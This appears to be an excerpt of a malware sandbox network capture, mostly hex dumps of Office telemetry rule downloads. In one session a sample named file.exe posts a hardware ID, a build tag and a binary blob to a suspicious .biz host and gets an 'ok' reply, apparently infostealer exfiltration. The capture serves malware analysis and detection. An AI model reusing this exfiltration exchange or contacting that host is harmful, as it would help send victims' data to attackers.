2024-12-07 16:35:31 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-12-07 16:35:31 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.7	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:31 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:31 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 7b99b195-101e-0017-7009-4847c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163531Z-r1cf579d778d5zkmhC1EWRk6h800000003a0000000005ct7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:31 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.7	49737	104.21.16.9	443	5480	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:31 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=UOH7L61FQ65WK0O User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20389 Host: atten-supporse.biz
2024-12-07 16:35:31 UTC	15331	OUT	Data Raw: 2d 2d 55 4f 48 37 4c 36 31 46 51 36 35 57 4b 30 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 45 30 46 32 33 41 32 46 30 43 44 35 38 31 39 44 35 39 39 44 41 46 36 43 39 35 44 36 30 32 39 0d 0a 2d 2d 55 4f 48 37 4c 36 31 46 51 36 35 57 4b 30 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 55 4f 48 37 4c 36 31 46 51 36 35 57 4b 30 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d Data Ascii: --UOH7L61FQ65WK0OContent-Disposition: form-data; name="hwid"BE0F23A2F0CD5819D599DAF6C95D6029--UOH7L61FQ65WK0OContent-Disposition: form-data; name="pid"3--UOH7L61FQ65WK0OContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic-
2024-12-07 16:35:31 UTC	5058	OUT	Data Raw: 00 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d ae 2f f8 f5 58 32 78 29 1e bc 14 fc db e0 Data Ascii: (X6K~`iO\_,mi`m?ls}Qm/X2x)
2024-12-07 16:35:34 UTC	1050	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gq8ht0p3jdqci3iarrfqmphjef; expires=Wed, 02-Apr-2025 10:22:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=z%2FvnAwCId9OqKudwOVMTGZjfUAJw%2BcC2cuOU%2FgbhuBrHB8y9GwHl%2F8xEgGt8dSmeTjHKP1iGnPIA8T417K%2F1Vwr8PJVuOvYJ7R6qtee3W01gTACjQR9e%2BqU0yHvdmmi5GlS9k3U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ee5edeb6b4a9e04-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=6175&min_rtt=1868&rtt_var=3443&sent=17&recv=25&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21350&delivery_rate=1563169&cwnd=236&unsent_bytes=0&cid=7d2fe5657de164a7&ts=2903&x=0"
2024-12-07 16:35:34 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-07 16:35:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.7	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:32 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:32 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 90a12f2a-001e-0079-1603-4812e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163532Z-r1cf579d7788pwqzhC1EWRrpd8000000037g000000000em4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:32 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.7	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:32 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:32 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 90f2e2a0-001e-0014-5807-485151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163532Z-r1cf579d7784wpmvhC1EWRk4cn00000002900000000064pw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:32 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.7	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:32 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:32 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 75599bc5-d01e-008e-7c03-48387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163532Z-r1cf579d778x776bhC1EWRdk8000000002vg000000004zx1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:32 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.7	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:32 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:32 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 09188c3a-a01e-0021-2702-48814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163532Z-r1cf579d778qlpkrhC1EWRpfc800000003dg000000008vzu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:32 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.7	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:33 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:33 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 48f2d82f-b01e-0084-1302-48d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163533Z-r1cf579d778dndrdhC1EWR4b2400000002kg000000002zmn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:33 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.7	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:34 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:34 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 1e88822f-901e-0029-0201-48274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163534Z-r1cf579d778d5zkmhC1EWRk6h800000003cg000000002dw2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:34 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.7	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:34 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:34 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: e333ec31-201e-003f-1d06-486d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163534Z-r1cf579d778x776bhC1EWRdk8000000002yg000000001e0x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:35:34 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.7	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:35:34 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:35:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:35:34 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 22946cbe-b01e-0021-6403-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163534Z-r1cf579d778qgtz2hC1EWRmgks00000002mg000000007yd6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
